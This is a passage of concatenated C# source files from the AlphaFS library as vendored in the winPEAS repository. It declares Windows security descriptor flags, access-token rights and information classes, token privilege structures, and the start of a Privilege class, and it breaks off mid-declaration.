2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Security { /// An LUID is a 64-bit value guaranteed to be unique only on the system on which it was generated. The uniqueness of a locally unique identifier (LUID) is guaranteed only until the system is restarted. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct LUID { /// Low-order bits. [MarshalAs(UnmanagedType.U4)] public uint LowPart; /// High-order bits. [MarshalAs(UnmanagedType.U4)] public uint HighPart; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SECURITY_DESCRIPTOR_CONTROL.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Security { /// The SECURITY_DESCRIPTOR_CONTROL data type is a set of bit flags that qualify the meaning of a security descriptor or its components. /// Each security descriptor has a Control member that stores the SECURITY_DESCRIPTOR_CONTROL bits. /// /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// [Flags] internal enum SECURITY_DESCRIPTOR_CONTROL { /// None None = 0, /// SE_OWNER_DEFAULTED (0x0001) - Indicates an SD with a default owner security identifier (SID). You can use this bit to find all of the objects that have default owner permissions set. SE_OWNER_DEFAULTED = 1, /// SE_GROUP_DEFAULTED (0x0002) - Indicates an SD with a default group SID. You can use this bit to find all of the objects that have default group permissions set. SE_GROUP_DEFAULTED = 2, /// SE_DACL_PRESENT (0x0004) - Indicates an SD that has a discretionary access control list (DACL). If this flag is not set, or if this flag is set and the DACL is NULL, the SD allows full access to everyone. SE_DACL_PRESENT = 4, /// SE_DACL_DEFAULTED (0x0008) - Indicates an SD with a default DACL. For example, if an object creator does not specify a DACL, the object receives the default DACL from the access token of the creator. This flag can affect how the system treats the DACL, with respect to access control entry (ACE) inheritance. The system ignores this flag if the SE_DACL_PRESENT flag is not set. SE_DACL_DEFAULTED = 8, /// SE_SACL_PRESENT (0x0010) - Indicates an SD that has a system access control list (SACL). SE_SACL_PRESENT = 16, /// SE_SACL_DEFAULTED (0x0020) - Indicates an SD with a default SACL. For example, if an object creator does not specify an SACL, the object receives the default SACL from the access token of the creator. This flag can affect how the system treats the SACL, with respect to ACE inheritance. The system ignores this flag if the SE_SACL_PRESENT flag is not set. SE_SACL_DEFAULTED = 32, /// SE_DACL_AUTO_INHERIT_REQ (0x0100) - Requests that the provider for the object protected by the SD automatically propagate the DACL to existing child objects. If the provider supports automatic inheritance, it propagates the DACL to any existing child objects, and sets the SE_DACL_AUTO_INHERITED bit in the security descriptors of the object and its child objects. SE_DACL_AUTO_INHERIT_REQ = 256, /// SE_SACL_AUTO_INHERIT_REQ (0x0200) - Requests that the provider for the object protected by the SD automatically propagate the SACL to existing child objects. If the provider supports automatic inheritance, it propagates the SACL to any existing child objects, and sets the SE_SACL_AUTO_INHERITED bit in the SDs of the object and its child objects. SE_SACL_AUTO_INHERIT_REQ = 512, /// SE_DACL_AUTO_INHERITED (0x0400) - Windows 2000 only. Indicates an SD in which the DACL is set up to support automatic propagation of inheritable ACEs to existing child objects. The system sets this bit when it performs the automatic inheritance algorithm for the object and its existing child objects. This bit is not set in SDs for Windows NT versions 4.0 and earlier, which do not support automatic propagation of inheritable ACEs. SE_DACL_AUTO_INHERITED = 1024, /// SE_SACL_AUTO_INHERITED (0x0800) - Windows 2000: Indicates an SD in which the SACL is set up to support automatic propagation of inheritable ACEs to existing child objects. The system sets this bit when it performs the automatic inheritance algorithm for the object and its existing child objects. This bit is not set in SDs for Windows NT versions 4.0 and earlier, which do not support automatic propagation of inheritable ACEs. SE_SACL_AUTO_INHERITED = 2048, /// SE_DACL_PROTECTED (0x1000) - Windows 2000: Prevents the DACL of the SD from being modified by inheritable ACEs. SE_DACL_PROTECTED = 4096, /// SE_SACL_PROTECTED (0x2000) - Windows 2000: Prevents the SACL of the SD from being modified by inheritable ACEs. SE_SACL_PROTECTED = 8192, /// SE_RM_CONTROL_VALID (0x4000) - Indicates that the resource manager control is valid. SE_RM_CONTROL_VALID = 16384, /// SE_SELF_RELATIVE (0x8000) - Indicates an SD in self-relative format with all of the security information in a contiguous block of memory. If this flag is not set, the SD is in absolute format. For more information, see Absolute and Self-Relative Security Descriptors. SE_SELF_RELATIVE = 32768 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SECURITY_INFORMATION.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Security { /// The SECURITY_INFORMATION data type identifies the object-related security information being set or queried. /// This security information includes: /// The owner of an object; /// The primary group of an object; /// The discretionary access control list (DACL) of an object; /// The system access control list (SACL) of an object; /// /// /// An unsigned 32-bit integer specifies portions of a SECURITY_DESCRIPTOR by means of bit flags. /// Individual bit values (combinable with the bitwise OR operation) are as shown in the following table. /// [Flags] internal enum SECURITY_INFORMATION : uint { /// None None = 0, /// OWNER_SECURITY_INFORMATION (0x00000001) - The owner identifier of the object is being referenced. OWNER_SECURITY_INFORMATION = 1, /// GROUP_SECURITY_INFORMATION (0x00000002) - The primary group identifier of the object is being referenced. GROUP_SECURITY_INFORMATION = 2, /// DACL_SECURITY_INFORMATION (0x00000004) - The DACL of the object is being referenced. DACL_SECURITY_INFORMATION = 4, /// SACL_SECURITY_INFORMATION (0x00000008) - The SACL of the object is being referenced. SACL_SECURITY_INFORMATION = 8, /// LABEL_SECURITY_INFORMATION (0x00000010) - The mandatory integrity label is being referenced. The mandatory integrity label is an ACE in the SACL of the object. /// Windows Server 2003 and Windows XP: This bit flag is not available. LABEL_SECURITY_INFORMATION = 16, /// ATTRIBUTE_SECURITY_INFORMATION (0x00000020) - The resource properties of the object being referenced. /// The resource properties are stored in SYSTEM_RESOURCE_ATTRIBUTE_ACE types in the SACL of the security descriptor. /// /// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available. ATTRIBUTE_SECURITY_INFORMATION = 32, /// SCOPE_SECURITY_INFORMATION (0x00000040) - The Central Access Policy (CAP) identifier applicable on the object that is being referenced. /// Each CAP identifier is stored in a SYSTEM_SCOPED_POLICY_ID_ACE type in the SACL of the SD. /// /// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available. SCOPE_SECURITY_INFORMATION = 64, /// BACKUP_SECURITY_INFORMATION (0x00010000) - All parts of the security descriptor. This is useful for backup and restore software that needs to preserve the entire security descriptor. /// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: This bit flag is not available. BACKUP_SECURITY_INFORMATION = 65536, /// UNPROTECTED_SACL_SECURITY_INFORMATION (0x10000000) - The SACL inherits ACEs from the parent object. UNPROTECTED_SACL_SECURITY_INFORMATION = 268435456, /// UNPROTECTED_DACL_SECURITY_INFORMATION (0x20000000) - The DACL inherits ACEs from the parent object. UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912, /// PROTECTED_SACL_SECURITY_INFORMATION (0x40000000) - The SACL cannot inherit ACEs. PROTECTED_SACL_SECURITY_INFORMATION = 1073741824, /// PROTECTED_DACL_SECURITY_INFORMATION (0x80000000) - The DACL cannot inherit access control entries (ACEs). PROTECTED_DACL_SECURITY_INFORMATION = 2147483648 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/SE_OBJECT_TYPE.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Security { /// The SE_OBJECT_TYPE enumeration contains values that correspond to the types of Windows objects that support security. /// The functions, such as GetSecurityInfo and SetSecurityInfo, that set and retrieve the security information of an object, use these values to indicate the type of object. /// /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// internal enum SE_OBJECT_TYPE { /// Unknown object type. SE_UNKNOWN_OBJECT_TYPE = 0, /// Indicates a file or directory. The name string that identifies a file or directory object can be in one of the following formats: /// A relative path, such as FileName.dat or ..\FileName /// An absolute path, such as FileName.dat, C:\DirectoryName\FileName.dat, or G:\RemoteDirectoryName\FileName.dat. /// A UNC name, such as \\ComputerName\ShareName\FileName.dat. /// SE_FILE_OBJECT, /// Indicates a Windows service. A service object can be a local service, such as ServiceName, or a remote service, such as \\ComputerName\ServiceName. SE_SERVICE, /// Indicates a printer. A printer object can be a local printer, such as PrinterName, or a remote printer, such as \\ComputerName\PrinterName. SE_PRINTER, /// Indicates a registry key. A registry key object can be in the local registry, such as CLASSES_ROOT\SomePath or in a remote registry, such as \\ComputerName\CLASSES_ROOT\SomePath. /// The names of registry keys must use the following literal strings to identify the predefined registry keys: "CLASSES_ROOT", "CURRENT_USER", "MACHINE", and "USERS". /// SE_REGISTRY_KEY, /// Indicates a network share. A share object can be local, such as ShareName, or remote, such as \\ComputerName\ShareName. SE_LMSHARE, /// Indicates a local kernel object. The GetSecurityInfo and SetSecurityInfo functions support all types of kernel objects. /// The GetNamedSecurityInfo and SetNamedSecurityInfo functions work only with the following kernel objects: semaphore, event, mutex, waitable timer, and file mapping. SE_KERNEL_OBJECT, /// Indicates a window station or desktop object on the local computer. You cannot use GetNamedSecurityInfo and SetNamedSecurityInfo with these objects because the names of window stations or desktops are not unique. SE_WINDOW_OBJECT, /// Indicates a directory service object or a property set or property of a directory service object. /// The name string for a directory service object must be in X.500 form, for example: CN=SomeObject,OU=ou2,OU=ou1,DC=DomainName,DC=CompanyName,DC=com,O=internet SE_DS_OBJECT, /// Indicates a directory service object and all of its property sets and properties. SE_DS_OBJECT_ALL, /// Indicates a provider-defined object. SE_PROVIDER_DEFINED_OBJECT, /// Indicates a WMI object. SE_WMIGUID_OBJECT, /// Indicates an object for a registry entry under WOW64. SE_REGISTRY_WOW64_32KEY } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// [AlphaFS] Access rights for access-token objects. [Flags] internal enum TOKEN : uint { /// Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task. TOKEN_ASSIGN_PRIMARY = 1, /// Required to duplicate an access token. TOKEN_DUPLICATE = 2, /// Required to attach an impersonation access token to a process. TOKEN_IMPERSONATE = 4, /// Required to query an access token. TOKEN_QUERY = 8, /// Required to query the source of an access token. TOKEN_QUERY_SOURCE = 16, /// Required to enable or disable the privileges in an access token. TOKEN_ADJUST_PRIVILEGES = 32, /// Required to adjust the attributes of the groups in an access token. TOKEN_ADJUST_GROUPS = 64, /// Required to change the default owner, primary group, or DACL of an access token. TOKEN_ADJUST_DEFAULT = 128, /// Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required. TOKEN_ADJUST_SESSIONID = 256, /// Combines STANDARD_RIGHTS_READ and TOKEN_QUERY. TOKEN_READ = STANDARD_RIGHTS_READ | TOKEN_QUERY, /// Combines all possible access rights for a token. TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_ELEVATION_TYPE.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The TOKEN_ELEVATION_TYPE enumeration indicates the elevation type of token being queried by the GetTokenInformation function. /// /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// internal enum TOKEN_ELEVATION_TYPE { ///// The token does not have a linked token: UAC is disabled or the process is started by a standard User (not a member of the Administrators group). //TokenElevationTypeDefault = 1, /// The token is an elevated token: UAC is enabled and User is elevated. TokenElevationTypeFull = 2, ///// The token is a limited token: UAC is enabled but User is not elevated. //TokenElevationTypeLimited = 3 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_INFORMATION_CLASS.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token. /// The GetTokenInformation function uses these values to indicate the type of token information to retrieve. /// The SetTokenInformation function uses these values to set the token information. /// /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// internal enum TOKEN_INFORMATION_CLASS { ///// The buffer receives a TOKEN_USER structure that contains the user account of the token. //TokenUser = 1, ///// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token. //TokenGroups = 2, ///// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token. //TokenPrivileges = 3, ///// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects. //TokenOwner = 4, ///// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects. //TokenPrimaryGroup = 5, ///// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects. //TokenDefaultDacl = 6, ///// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information. //TokenSource = 7, ///// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token. //TokenType = 8, ///// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails. //TokenImpersonationLevel = 9, ///// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics. //TokenStatistics = 10, ///// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token. //TokenRestrictedSids = 11, ///// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token. //TokenSessionId = 12, ///// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token. //TokenGroupsAndPrivileges = 13, ///// Reserved. //TokenSessionReference = 14, ///// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag. //TokenSandBoxInert = 15, ///// Reserved. //TokenAuditPolicy = 16, ///// The buffer receives a TOKEN_ORIGIN value. //TokenOrigin = 17, /// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. TokenElevationType = 18, ///// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token. //TokenLinkedToken = 19, ///// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated. //TokenElevation = 20, ///// The buffer receives a DWORD value that is nonzero if the token has ever been filtered. //TokenHasRestrictions = 21, ///// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token. //TokenAccessInformation = 22, ///// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token. //TokenVirtualizationAllowed = 23, ///// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token. //TokenVirtualizationEnabled = 24, ///// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level. //TokenIntegrityLevel = 25, ///// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set. //TokenUIAccess = 26, ///// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy. //TokenMandatoryPolicy = 27, ///// The buffer receives a TOKEN_GROUPS structure that specifies the token's logon SID. //TokenLogonSid = 28, ///// The buffer receives a DWORD value that is nonzero if the token is an app container token. //TokenIsAppContainer = 29, ///// The buffer receives a TOKEN_GROUPS structure that contains the capabilities associated with the token. //TokenCapabilities = 30, ///// The buffer receives a TOKEN_APPCONTAINER_INFORMATION structure that contains the AppContainerSid associated with the token. //TokenAppContainerSid = 31, ///// The buffer receives a DWORD value that includes the app container number for the token. For tokens that are not app container tokens, this value is zero. //TokenAppContainerNumber = 32, ///// The buffer receives a CLAIM_SECURITY_ATTRIBUTES_INFORMATION structure that contains the user claims associated with the token. //TokenUserClaimAttributes = 33, ///// The buffer receives a CLAIM_SECURITY_ATTRIBUTES_INFORMATION structure that contains the device claims associated with the token. //TokenDeviceClaimAttributes = 34, ///// This value is reserved. //TokenRestrictedUserClaimAttributes = 35, ///// This value is reserved. //TokenRestrictedDeviceClaimAttributes = 36, ///// The buffer receives a TOKEN_GROUPS structure that contains the device groups that are associated with the token. //TokenDeviceGroups = 37, ///// The buffer receives a TOKEN_GROUPS structure that contains the restricted device groups that are associated with the token. //TokenRestrictedDeviceGroups = 38, ///// This value is reserved. //TokenSecurityAttributes = 39, ///// This value is reserved. //TokenIsRestricted = 40, ///// The maximum value for this enumeration. //MaxTokenInfoClass = 41 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/TOKEN_PRIVILEGES.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Runtime.InteropServices; namespace Alphaleonis.Win32.Security { /// The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct TOKEN_PRIVILEGES { /// This must be set to the number of entries in the Privileges array. [MarshalAs(UnmanagedType.U4)] public uint PrivilegeCount; /// Specifies an array of LUID_AND_ATTRIBUTES structures. Each structure contains the LUID and attributes of a privilege. public LUID Luid; /// The attributes of a privilege can be a combination of the following values: /// SE_PRIVILEGE_ENABLED: The privilege is enabled. /// SE_PRIVILEGE_ENABLED_BY_DEFAULT: The privilege is enabled by default. /// SE_PRIVILEGE_REMOVED: Used to remove a privilege. For details, see AdjustTokenPrivileges. /// SE_PRIVILEGE_USED_FOR_ACCESS: The privilege was used to gain access to an object or service. This flag is used to identify the relevant privileges in a set passed by a client application that may contain unnecessary privileges. /// [MarshalAs(UnmanagedType.U4)] public uint Attributes; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Privilege.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Security { /// Represents a privilege for an access token. The privileges available on the local machine are available as /// static instances from this class. To create a representing a privilege on another system, /// use the constructor specifying a system name together with one of these static instances. /// /// [ImmutableObject(true)] public class Privilege : IEquatable { #region System Privileges /// Required to assign the primary token of a process. User Right: Replace a process-level token. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege AssignPrimaryToken = new Privilege("SeAssignPrimaryTokenPrivilege"); /// Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Audit = new Privilege("SeAuditPrivilege"); /// Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. User Right: Back up files and directories. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege Backup = new Privilege("SeBackupPrivilege"); /// Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege ChangeNotify = new Privilege("SeChangeNotifyPrivilege"); /// Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account. User Right: Create global objects. /// Windows XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP SP2, and Windows 2000 SP4. [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege CreateGlobal = new Privilege("SeCreateGlobalPrivilege"); /// Required to create a paging file. User Right: Create a pagefile. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pagefile")] [SuppressMessage("Microsoft.Security", "CA2104:DoNotDeclareReadOnlyMutableReferenceTypes")] public static readonly Privilege CreatePagefile = new 